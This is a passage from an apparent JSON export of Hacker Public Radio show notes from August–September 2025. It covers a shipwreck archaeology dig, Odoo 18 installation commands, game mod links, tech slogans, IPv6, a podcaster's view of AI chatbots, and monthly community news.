                                                            \nA view from the back from the back of the ship. We can see that\nthere is a rip in the hull behind the last fish compartment and\nthe back of the ship.\nWas this a collision or did it occur after sinking ?\nAn archaeologist is fighting a loosing battle to scoop out water.\n

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

                                                            The glamour of the dig.

                                                            \n\n

                                                            \nThe back of the site tent showing the woodland in the background, a pile of soil that was removed, and a another pile of rotting wood from the ship.\nThere is a makeshift pool of water used to store water pumped from the wreck.\nThe front of the site tent showing the woodland in the background, some storage shipping containers, some steel plates used to spread the load of heavy machinery.\nA 2M/6Foot wooden sleeper lies on a forklift pallet.\nA earthen mound is in front of the woods.\nIn front of that is a very wet and damp looking tarpaulin with parts of the ship. They are normally kept wet covered with another tarpaulin so they will not rot.\nEach has a label on it.\nSome are held vertical by sandbags.\nThere is a view of the pile of rotten wood, the eacavated soiland the pump pool.\nThere are some rusted iron as braces in the wood. \nThere is a rust shaped axe.\n

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

                                                            Information Displays

                                                            \n\n

                                                            \n\nA informational poster showing how they determined the date to be Dendroarchaeology.\nIf two trees grew during the same period, the thickness of their rings during that period will be the same. \nArchaeologist were able to make a complete historical map of tree rings going back to prehistory.\nThey did this by comparing the overlapping tree rings from in existing buildings, shipwrecks and artwork. \nIn some cases there were receipts from wood choppers for the timbers.\nFurther back can be used by comparing overlapping rings in different artifacts.\n

                                                            \n\n\n\n

                                                            \nA drawing of the ship cross-sections through the center, a top, front and back view.\nThen a drawing of the ship with triangle sail at the front, and a square sale at the back with rigging.\nThe cross section shows where the bun/fish compartment was located in the middle behind the mast at the bottom of the ship.\n

                                                            \n
                                                            \n\n

                                                            \nA informational poster tells us the shipwreck was discovered in 1972 when the land was drained.\nThe ship is 16 meter long and 5.5 meter wide, which is a small version as they often got to 20 meter in length.\nThe ship was complete to the top of the bun/fish compartment.\nIt sank somewhere between 1520 and 1530.\nIt continues to give a timeline of the discovery.
                                                            \nThe next poster shows the 3d scans from 2022 to 2025.
                                                            \n2022 Shows the front half of the ship with a rats nest of broken timbers.
                                                            \n2023 The entire top deck is exposed
                                                            \n2024 and 2025 show the wood is now cleared down to the frame of the ship.
                                                            \nThere are also 3D printed versions of the scans in cases.\n

                                                            \n\n\n\n\n\n\n

                                                            \nThe 3d scanner used to record some of the models.\n

                                                            \n\n\n\n

                                                            \nA map showing the shipping routes through the Zuiderzee.\n

                                                            \n\n\n

                                                            \nItems that visitors are encouraged to touch are fresh moss used to seal the lats, a piece of timber, some iron nails, and braces to keep the planks together.\n

                                                            \n\n

                                                            \nItems that visitors are not allowed to touch include, barrel taps, rings, actual moss, fish bones, and a box of other finds.\n

                                                            \n\n\n\n

                                                            The Author

                                                            \n\n

                                                            \n
                                                            \nThe author Wouter Waldus was there to discuss the dig, marine archaeology, and his many books.\n

                                                            \n\n\n\n

                                                            \n\n\n\n\n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Waterschip, Zuiderzee, Flevoland, Archaeology, 3D Scans","version":0,"downloads":0,"valid":1}, {"id":4448,"date":"2025-08-20","title":"YouTube Subscriptions 2025 #4","duration":986,"summary":"Part four of my list of subscribed channels","notes":"\n

                                                            \nI am subscribed to a number of YouTube channels, and I am sharing them with you.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nLinks

                                                            \n\n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":198,"series":106,"explicit":0,"license":"CC-BY-SA","tags":"YouTube, Channels, Subscriptions","version":0,"downloads":0,"valid":1}, {"id":4449,"date":"2025-08-21","title":"How to install Odoo 18 on a virtual machine","duration":1621,"summary":"In this podcast I explain how to install Odoo 18 on a (virtual) machine and start using it.","notes":"\n

                                                            Create a vm with Debian 12 and at least 4 Gb of RAM and say 20-30\n Gb disc space.

                                                            \n

                                                            installation

                                                            \n

                                                            ============

                                                            \n

                                                            sudo apt install -y gpg postgresql

                                                            \n

                                                            wget -q -O - https://nightly.odoo.com/odoo.key\n | sudo gpg --dearmor -o\n /usr/share/keyrings/odoo-archive-keyring.gpg

                                                            \n

                                                            echo 'deb\n [signed-by=/usr/share/keyrings/odoo-archive-keyring.gpg] https://nightly.odoo.com/18.0/nightly/deb/\n ./' | sudo tee /etc/apt/sources.list.d/odoo.list

                                                            \n

                                                            Odoo CE latest nightly build

                                                            \n

                                                            https://nightly.odoo.com/18.0/nightly/deb/odoo_18.0.latest_all.deb

                                                            \n

                                                            sudo apt-get update && sudo apt-get install -y odoo

                                                            \n

                                                            Install wkhtmltopdf

                                                            \n

                                                            wget -O wkhtmltox_0.12.6.1-3.bookworm_amd64.deb https://github.com/wkhtmltopdf/packaging/releases/download/0.12.6.1-3/wkhtmltox_0.12.6.1-3.bookworm_amd64.deb

                                                            \n

                                                            dpkg -i wkhtmltox_0.12.6.1-3.bookworm_amd64.deb

                                                            \n

                                                            apt install -f -y

                                                            \n

                                                            apt install -y python3-xlwt python3-num2words\n python3-phonenumbers

                                                            \n

                                                            systemctl status odoo

                                                            \n

                                                            First use

                                                            \n

                                                            =========

                                                            \n

                                                            http://:8069/

                                                            \n

                                                            Will relocate to /web/database/selector

                                                            \n

                                                            Master Password to protect this form

                                                            \n

                                                            Database Name.

                                                            \n

                                                            Email: your email

                                                            \n

                                                            Password: your desired password

                                                            \n

                                                            Phone Number: optional

                                                            \n

                                                            Language: your desired language

                                                            \n

                                                            Country: select your country

                                                            \n

                                                            Demo Data: select to get demo data.

                                                            \n

                                                            Click \"Create database\"

                                                            \n

                                                            Wait.

                                                            \n

                                                            Login.

                                                            \n

                                                            You see /odoo/apps.

                                                            \n

                                                            Upper left square-icon shows 'Apps' and 'Settings'.

                                                            \n

                                                            Let's install a simple app: contacts

                                                            \n

                                                            Search in the search bar for \"contacts\" and when displayed, click\n the 'Activate' button of the \"contacts\" app.

                                                            \n

                                                            When done, the same menu now contains: Discuss, To-do, contacts,\n Project, Email Marketing, Surveys, Employees

                                                            \n

                                                            and the earlier mentioned Apps and Settings.

                                                            \n

                                                            Go back to 'Apps' and Activate the \"Sales\" app. This will also\n install the \"Invoicing\" app.

                                                            \n

                                                            Time to start playing around.

                                                            \n

                                                            Some tech stuff, interesting locations

                                                            \n

                                                            ===============

                                                            \n

                                                            /etc/odoo/odoo.conf

                                                            \n

                                                            Here you can add additional addons later:\n /var/lib/odoo/.local/share/Odoo/addons/18.0/

                                                            \n

                                                            Here are all files uploaded to Odoo: find\n /var/lib/odoo/.local/share/Odoo/filestore/

                                                            \n

                                                            This is where user sessions are administrated: find\n /var/lib/odoo/.local/share/Odoo/sessions/

                                                            \n

                                                            And these are the main locations where the Odoo program can be\n found.

                                                            \n

                                                            ls -al /usr/lib/python3/dist-packages/odoo/

                                                            \n

                                                            ls -al /usr/lib/python3/dist-packages/odoo/addons/

                                                            \n

                                                            ls -al /usr/lib/python3/dist-packages/odoo/addons/ | wc

                                                            ","hostid":369,"series":126,"explicit":0,"license":"CC-BY-SA","tags":"odoo,erp,application","version":0,"downloads":0,"valid":1}, {"id":4450,"date":"2025-08-22","title":"Playing Civilization V, Part 2","duration":602,"summary":"We continue our look at the game mechanics of Civlization V.","notes":"\n

                                                            \n In our next look at the game mechanics for Civilization V we\n examine the topics of Happiness and Eras.

                                                            \n

                                                            \n Links:

                                                            \n ","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization V, happiness, eras","version":0,"downloads":0,"valid":1}, {"id":4451,"date":"2025-08-25","title":"Game Modding","duration":715,"summary":"You don't have time to play games all day? ","notes":"\n

                                                            GTA Family friendly

                                                            \n

                                                            https://www.gta5-mods.com/scripts/family-friendly-free-roaming

                                                            \n

                                                            FO76:

                                                            \n

                                                            Glowing Items

                                                            \n

                                                            https://www.nexusmods.com/fallout76/mods/102

                                                            \n

                                                            Fast Terminals - Instantly text display

                                                            \n

                                                            https://www.nexusmods.com/fallout76/mods/1316

                                                            \n

                                                            Perk Loadout Manager

                                                            \n

                                                            https://www.nexusmods.com/fallout76/mods/124

                                                            \n

                                                            Bobblehead ESP

                                                            \n

                                                            https://www.nexusmods.com/fallout76/mods/2231

                                                            \n

                                                            Recipes and Plans Glow

                                                            \n

                                                            https://www.nexusmods.com/fallout76/mods/84

                                                            \n

                                                            RatMonkeys Glowing Caps Stash Tins

                                                            \n

                                                            https://www.nexusmods.com/fallout76/mods/98

                                                            \n

                                                            Glowing Map Fragments

                                                            \n

                                                            https://www.nexusmods.com/fallout76/mods/542

                                                            \n

                                                            ore_glow

                                                            \n

                                                            https://www.nexusmods.com/fallout76/mods/207

                                                            \n

                                                            Lockpick Bar 76 Reskin

                                                            \n

                                                            https://www.nexusmods.com/fallout76/mods/1004

                                                            \n

                                                            schedule1:

                                                            \n

                                                            Minimap - Full Version

                                                            \n

                                                            https://www.nexusmods.com/schedule1/mods/113

                                                            ","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"gaming","version":0,"downloads":0,"valid":1}, {"id":4452,"date":"2025-08-26","title":"Turn Coffee Into Code - Slogans from Tech(Companies, App, People)","duration":454,"summary":"5 Slogans interesting, from software I like","notes":"\n
                                                              \n
                                                            • \n \n Private coffee\n
                                                            • \n
                                                            \n

                                                            \n From the website:

                                                            \n

                                                            \n \"\n Private.coffee is a non-profit association dedicated to\n supporting privacy and digital sovereignty. \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n We provide privacy-respecting alternatives to common services,\n educate users about digital privacy, and advocate for a more\n private and secure internet.\n \"

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I came to it while searching for a Matrix homeserver in https://joinmatrix.org/

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Slogan: \"Open-source software is best served hot\"

                                                            \n

                                                            \n Site: https://private.coffee/

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                              \n
                                                            • \n \n Fluffychat\n
                                                            • \n
                                                            \n

                                                            \n From the website:

                                                            \n

                                                            \n \"\n FluffyChat is an open source, nonprofit and cute [matrix] client\n written in Flutter. The goal of the app is to create an easy to\n use instant messenger which is open source and accessible for\n everyone.\n \"

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n The most pleasant messenger I've ever used. Beautiful (and that's\n the meaning of \"cute\"), can be used on the web or app.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Once, the developer, Krille-chan, I think on Mastodon, said some\n users thought \"cute\" was not professional. But, for him, it was a\n way to convey the meaning of beautiful. So, the slogan stays as:

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Slogan: \"The cutest messenger in [matrix]\"

                                                            \n

                                                            \n Site: \n https://fluffychat.im/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                              \n
                                                            • \n \n Soatok blog\n
                                                            • \n
                                                            \n

                                                            \n From the website:

                                                            \n

                                                            \n \"\n Writings about information security, cryptography, software, and\n humanity, from a member of the furry fandom.\n \"

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n A respected man that studies and works with cryptography. Among\n other themes, he analyses messengers, and protocols in general,\n and explains — sometimes discovering grave vulnerabilities. His\n post recommending to not use Session made the app developers itch.\n \n They responded to Soatok on their social media (without\n mentioning his name, only \"a blogger\") saying the points raised\n were unfounded.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Slogan (if not simply the title...): \"Dhole moments\" (Dhole is an\n Asian wild dog)

                                                            \n

                                                            \n Site: \n https://soatok.blog/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                              \n
                                                            • \n \n 4d2\n
                                                            • \n
                                                            \n

                                                            \n From the website:

                                                            \n

                                                            \n \"\n So it's come to this...you've met us\n

                                                            \n

                                                            \n \n Since 2001, 4d2 dot org has worked to provide interested folks\n with free access to communication and collaboration services in\n a mixed Linux/BSD environment. We focus on technical\n transparency, user privacy and free speech, with a dash of\n cypherpunk and retrocomputing for good measure\n \".

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n It's like the Private Coffee we've seen before. I discovered this\n one first, looking for Matrix homeserver to try. This one has the\n advantage of having WhatsApp bridge.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n And so I wanted to present this one, but no slogans, so I made a\n concession: not a slogan, but the nonprofit corporation that\n operates 4d2: \"All Computers Are Brilliant\" (Inc.)

                                                            \n

                                                            \n Site: \n https://4d2.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n
                                                              \n
                                                            • \n \n Frugalware Linux (\n in memoriam\n )
                                                            • \n
                                                            \n

                                                            \n I loved this distribution! I felt the king on the hills with it,\n still on my initial enchantment with Linux.

                                                            \n

                                                            \n From the website:

                                                            \n

                                                            \n \"\n Frugalware is a general purpose linux distribution, designed for\n intermediate users (who are not afraid of text mode).\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n \n We try to make Frugalware as simple as possible while not\n forgetting to keep it comfortable for the user. We try to ship\n fresh and stable software, as close to the original source as\n possible, because in our opinion most software is the best as\n is, and doesn’t need patching.\n \"

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Slogan: \"Let's make things frugal\"

                                                            \n

                                                            \n Site: \n https://frugalware.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Those are some that come from what I use or used and that I\n separated to talk to you all.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n You may find around some developers with this one: \"transforming\n coffee into code\". Cool, too. I only don't remember one\n specifically that says so.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Here, with you, is Antoine.

                                                            \n

                                                            \n And I thank you for listening.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Bye, bye!

                                                            ","hostid":441,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"slogans, soatok, furry, matrix","version":0,"downloads":0,"valid":1}, {"id":4453,"date":"2025-08-27","title":"IPv6 for Luddites","duration":3064,"summary":"Beni tries to convince Andrew that disabling IPv6 isn't the solution","notes":"\n

                                                            \nIPv6 for Luddites

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAndrew (aka mcnalu) recently triggered Beni by saying that he turns off \nIPv6\n in order to get devices working on his home network. In this show Beni educates Andrew the \nLuddite\n and explains why moving from IPv4 to IPv6 is a good idea. They also explore how IPv6 can be used in a world where ISPs and devices do not all support it and what tools, tips and tricks are available during this rather long transitional phase to the newish (like 30 years old, a blink of an eye in IT) protocol.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nRelevant RFCs

                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n\n","hostid":288,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ipv6,networking","version":0,"downloads":0,"valid":1}, {"id":4454,"date":"2025-08-28","title":"AI, It's a Trap!","duration":235,"summary":"Archer72 talks about AI rabbit holes","notes":"\n

                                                            \nHello, this is Archer72 for Hacker Public Radio.

                                                            \n\n

                                                            \nIn episode, it seems that AI is a trap. This over-arching\ngeneralization is my opinion and may not reflect the opinions of\nHPR.

                                                            \n\n

                                                            \nSo the back story to this is that I was listening to the 26 hour\nHacker Public Radio New Year’s show, and the discussion came up in the\n\nTech and Coffee Telegram\nChannel\n My Resolution was to stop using ChatGPT for an AI chat bot,\nwith the implication being to not using AI at all, but instead, to use\n\nDuckduckgo\n and\n\nBrave\nSearch\n

                                                            \n\n

                                                            \nProbably less than a week or two later, I was trying to figure out\nsomething, and figured that I’d use the easy way and use \nClaude.ai\n , which is\nactually pretty good if you have short and concise questions. I’ve found\nthat if you have a long drawn-out question, it is better to do a Google\nor \nDuck search\n\nand document your results.
                                                            \n\nI document in Vim, but you can use whatever is best.

                                                            \n\n

                                                            \nThis way you can clearly show what works and doesn’t work and refer\nto what you find later, instead of relying on an online service. And\nsometimes, depending on the AI bot you use, exporting is not very\nstraightforward. With the exception of \nDuck.ai\n, that has a button for a quick share of a\ntext file. Then you share it to your self somewhere else like in \nProton\nmail\n

                                                            \n\n

                                                            \nWell… Over the past weekend, I was just making a quick upload button\nto my own server. The previous weekend, I got HTTPS working. This was\njust from following the guide on the \nLet’s Encrypt -\nDocumentation\n and \nEFF Certbot instruction -\nApache2\n websites. At least that time, instead of using the AI bot, I\njust followed clear documentation.

                                                            \n\n

                                                            \nSee, the thing about going right to the \nDebian Wiki\n or\nthe \nArch Wiki\n\nis that users and developer have already documented plenty. I figured\nout that part of the hacker method is not to take the ‘easy’ way, but to\ndocument out what you are trying to learn.

                                                            \n\n

                                                            \nSo this past weekend, I was trying to learn something about that\nupload form, and I probably took longer going back and forth with the AI\nbot than If I had taken the time to search the documentation. And even\nif it did take longer with the documentation, I would have learned\nsomething else and created a Markdown document of my own. There is a\ntool I use once in a while, which is part of the \nDuckduckgo\n search,\ncalled \nSearch Assist\n

                                                            \n\n

                                                            \nThis can be good, because a have a horrible memory. If there is\nsomething small that I can’t remember how to do, I let \nDuck.ai\n take care of it. But recently, I have turned\noff the option where it says to sometimes show \nSearch Assist\n, but instead only when it is on\ndemand. That way I won’t be tempted to go down a rabbit hole in order to\nfind what I am looking for. Instead base what I am looking for on\nstandard tools.

                                                            \n\n

                                                            \nSo Yes, AI is a trap, but is also useful for certain things. But if\nyou are careful how you use it, it’s not always a bad thing.

                                                            \n\n

                                                            \nThis has been Archer72 for Hacker Public Radio.

                                                            \n\n

                                                            \nFeel free to comment on this or any other show. Ken says it is the\nMana by which we pay our hosts. Also, feel free to record a response\nshow to this or other shows.

                                                            \n\n\n\n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"AI, Search, DuckDuckGo, Claude.ai, Duck.ai, Apache2, Certbot","version":0,"downloads":0,"valid":1}, {"id":4455,"date":"2025-08-29","title":"YouTube Subscriptions 2025 #5","duration":1003,"summary":"Part five of my list of subscribed channels","notes":"\n

                                                            \nI am subscribed to a number of YouTube channels, and I am sharing them with you.

                                                            \n\n

                                                            \nLinks:

                                                            \n\n\n\n","hostid":198,"series":106,"explicit":0,"license":"CC-BY-SA","tags":"YouTube, Channels, Subscriptions","version":0,"downloads":0,"valid":1}, {"id":4456,"date":"2025-09-01","title":"HPR Community News for August 2025","duration":4477,"summary":"HPR Volunteers SCOTI, Kevie, and Ken talk about shows released and comments posted in August 2025","notes":"

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Manon.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4435Fri2025-08-01Philosophy, Cosmology, Physics, and just what is up with Hairy Larry's brain.hairylarry
                                                            4436Mon2025-08-04HPR Community News for July 2025HPR Volunteers
                                                            4437Tue2025-08-05One Possible Definition of \"Hacker\"Antoine
                                                            4438Wed2025-08-06doodoo zero Jezra
                                                            4439Thu2025-08-07Rejecting a show ?Ken Fallon
                                                            4440Fri2025-08-08The HOPE conference.murph
                                                            4441Mon2025-08-11Voice Over IPLee
                                                            4442Tue2025-08-12Orthopedagogiek - what it is.Manon
                                                            4443Wed2025-08-13The First Doctor, Part 3Ahuka
                                                            4444Thu2025-08-14Introduction into the E.R.P. application called OdooJeroen Baten
                                                            4445Fri2025-08-15doodoo oneJezra
                                                            4446Mon2025-08-18Calling on AI to resque HPRTrollercoaster
                                                            4447Tue2025-08-19Interview with Margreet Pakkert at the Flevoland 2025 Field Work Archaeology Open Day.Ken Fallon
                                                            4448Wed2025-08-20YouTube Subscriptions 2025 #4Ahuka
                                                            4449Thu2025-08-21How to install Odoo 18 on a virtual machineJeroen Baten
                                                            4450Fri2025-08-22Playing Civilization V, Part 2Ahuka
                                                            4451Mon2025-08-25Game Moddingoperat0r
                                                            4452Tue2025-08-26Turn Coffee Into Code - Slogans from Tech(Companies, App, People)Antoine
                                                            4453Wed2025-08-27IPv6 for Ludditesbeni
                                                            4454Thu2025-08-28AI, It's a Trap!Archer72
                                                            4455Fri2025-08-29YouTube Subscriptions 2025 #5Ahuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 32 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 2 comments on\n2 previous shows:

                                                            \n
                                                              \n
                                                            • hpr4377\n(2025-05-13) \"Password store and the pass command\"\nby Klaatu.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nأحمد المحمودي on 2025-08-13:\n\"Look at KeePass\"

                                                              \n
                                                            • hpr4429\n(2025-07-24) \"Handcrafting and Bartering discussion w. Elsbeth\"\nby Elsbeth.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nArcher72 on 2025-08-04:\n\"Good to hear a craftier\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 30 comments on 13 of this month's shows:

                                                            \n
                                                            • hpr4435\n(2025-08-01) \"Philosophy, Cosmology, Physics, and just what is up with Hairy Larry's brain.\"\nby hairylarry.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBob Jonkman on 2025-08-11:\n\"How could playing music fit HPR?\"
                                                              • Comment 2:\nhairylarry on 2025-08-11:\n\"Reply to Bob\"
                                                              • Comment 3:\npaulj on 2025-08-14:\n\"Great Show\"

                                                              \n
                                                            • hpr4437\n(2025-08-05) \"One Possible Definition of \"Hacker\"\"\nby Antoine.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nElsbeth on 2025-08-10:\n\"Love this content\"
                                                              • Comment 2:\nAntoine on 2025-08-11:\n\": )\"

                                                              \n
                                                            • hpr4438\n(2025-08-06) \"doodoo zero \"\nby Jezra.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2025-08-04:\n\"I was just thinking about this\"
                                                              • Comment 2:\njezra on 2025-08-23:\n\"development happened faster than the show release cadence\"

                                                              \n
                                                            • hpr4439\n(2025-08-07) \"Rejecting a show ?\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTorin Doyle on 2025-08-09:\n\"Please keep HPR a religion-free zone.\"
                                                              • Comment 2:\nKen Fallon on 2025-08-10:\n\"Respond on the mail list\"

                                                              \n
                                                            • hpr4440\n(2025-08-08) \"The HOPE conference.\"\nby murph.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nFXB on 2025-08-09:\n\"HOPE Conference Talks\"

                                                              \n
                                                            • hpr4442\n(2025-08-12) \"Orthopedagogiek - what it is.\"\nby Manon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2025-08-04:\n\"Interesting approach\"
                                                              • Comment 2:\nDave Morriss on 2025-08-12:\n\"I enjoyed this a lot\"
                                                              • Comment 3:\nAntoine on 2025-08-13:\n\"What a very specific field!\"

                                                              \n
                                                            • hpr4444\n(2025-08-14) \"Introduction into the E.R.P. application called Odoo\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2025-08-04:\n\"My wife has a side business\"
                                                              • Comment 2:\nJason Lewis on 2025-08-14:\n\"Migrating from NetSuite\"
                                                              • Comment 3:\nHenrik Hemrin on 2025-08-20:\n\"Odoo - new to me\"

                                                              \n
                                                            • hpr4445\n(2025-08-15) \"doodoo one\"\nby Jezra.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nReto on 2025-08-16:\n\"I can follow your thoughts\"
                                                              • Comment 2:\njezra on 2025-08-23:\n\"noted!\"

                                                              \n
                                                            • hpr4446\n(2025-08-18) \"Calling on AI to resque HPR\"\nby Trollercoaster.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ncandycanearter07 on 2025-08-18:\n\"Interesting episode\"
                                                              • Comment 2:\ntrollercoaster on 2025-08-19:\n\"I guess I didn't get my point over\"

                                                              \n
                                                            • hpr4447\n(2025-08-19) \"Interview with Margreet Pakkert at the Flevoland 2025 Field Work Archaeology Open Day.\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2025-08-20:\n\"Pictures too!\"
                                                              • Comment 2:\nHenrik Hemrin on 2025-08-20:\n\"Interesting talk about this boat and archeology\"
                                                              • Comment 3:\nAntoine on 2025-08-21:\n\"That was sure a show!\"
                                                              • Comment 4:\njezra on 2025-08-26:\n\"time to head to the woodshop!\"

                                                              \n
                                                            • hpr4449\n(2025-08-21) \"How to install Odoo 18 on a virtual machine\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2025-08-04:\n\"Oodo in a vm\"

                                                              \n
                                                            • hpr4451\n(2025-08-25) \"Game Modding\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ncandycanearter07 on 2025-08-25:\n\"\"moddable\" games\"

                                                              \n
                                                            • hpr4453\n(2025-08-27) \"IPv6 for Luddites\"\nby beni.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nRho`n on 2025-08-27:\n\"Great intro to IPv6\"
                                                              • Comment 2:\nnorrist on 2025-08-27:\n\"Please post your talk\"
                                                              • Comment 3:\nwheresalice on 2025-08-28:\n\"IPv6 on HPR\"
                                                              • Comment 4:\nKen Fallon on 2025-08-29:\n\"I opened a bug, you can help fix it.\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mailing List\nwhich is open to all HPR listeners and contributors. The discussions are open\nand available on the HPR server under Mailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2025-August/thread.html\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4457,"date":"2025-09-02","title":"doodoo deuce ","duration":739,"summary":"episode two of creating doodoo: a todo app to get dung done","notes":"\n

                                                            doodoo

                                                            \n

                                                            A web based todo list application, for all the dung I need to get\n done doodoo\n utilized microdot framework.

                                                            \n

                                                            The simplest way to install microdot for use with doodoo, is to\n run make install-microdot, which will attempt to\n download the necessary file using wget.

                                                            \n

                                                            The doodoo server can be started by running make serve.\n The default port is 3864 (DUNG on a phone number pad)

                                                            ","hostid":243,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python, software development, dung","version":0,"downloads":0,"valid":1}, {"id":4458,"date":"2025-09-03","title":"Creating an animation in Powerpoint","duration":538,"summary":"how I created a short animation in power point","notes":"\n

                                                            \n I created a short animation to illustrate how agile project\n management works

                                                            \n

                                                            \n flippaclip:

                                                            \n

                                                            \n https://flipaclip.com/

                                                            \n ","hostid":430,"series":126,"explicit":0,"license":"CC-BY-SA","tags":"Powerpoint,Animation,presentations","version":0,"downloads":0,"valid":1}, {"id":4459,"date":"2025-09-04","title":"How I got into tech","duration":259,"summary":"I describe how I got into technology and what stories I would like to tell.","notes":"\n

                                                            \nHello, I'm Wojciech (pronounciation available at \nhttps://en.wiktionary.org/wiki/Wojciech\n), I'm a nerd from Poland, I work as a software engineer.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI've found HPR about a year ago and wanted to record a show since. But life is busy. I'm trying it out, in a supermarket parking lot in my car. This is my second attempt, so we'll see how it works.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nHow I got into tech? In a way I've kind of always been there. At least since I was a child. The story that I like to tell is when I was about 4 years old my cousing launched me Mortal Kombat on his Amiga computer and I got interested. That's my oldest tech related memory. As a kid I've mostly played video games. Mostly on clones of old 8-bit consoles like Atari 2600 or NES, later some unspecified models of Commodore and Schneider computers. I don't even remember what exact models they were. Got my first PC at about 10 years old, it was an Intel 486SX, 12 MB RAM, 850 MB HDD, running Windows 95. Still mostly playing games on the computer but, as it was running Windows, as you maybe know, with Windows come problems. Sometimes user-induced, but not always. Spoiler, it's been over 25 years and this trend continues.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAround the same time my sister went to high school and got a Turbo Pascal textbook. This is what really got me interested in programming and that's when my interests and career in software development begun. Since that time I had a very good idea what I want to do in life. I just knew I wanted to work with computers, primarily doing software engineering. I went to a technical university, Wrocław University of Science and Technology. And there I got interested in other computer related things like networking and I also got into digital and analog electronics. Just because I really wanted to go that one level deeper, to learn about how computers work, and electronics in general.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI also have other interests, but tech and non-tech related, like for example science fiction literature and I would like to record some shows about those in the future. We shall see.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

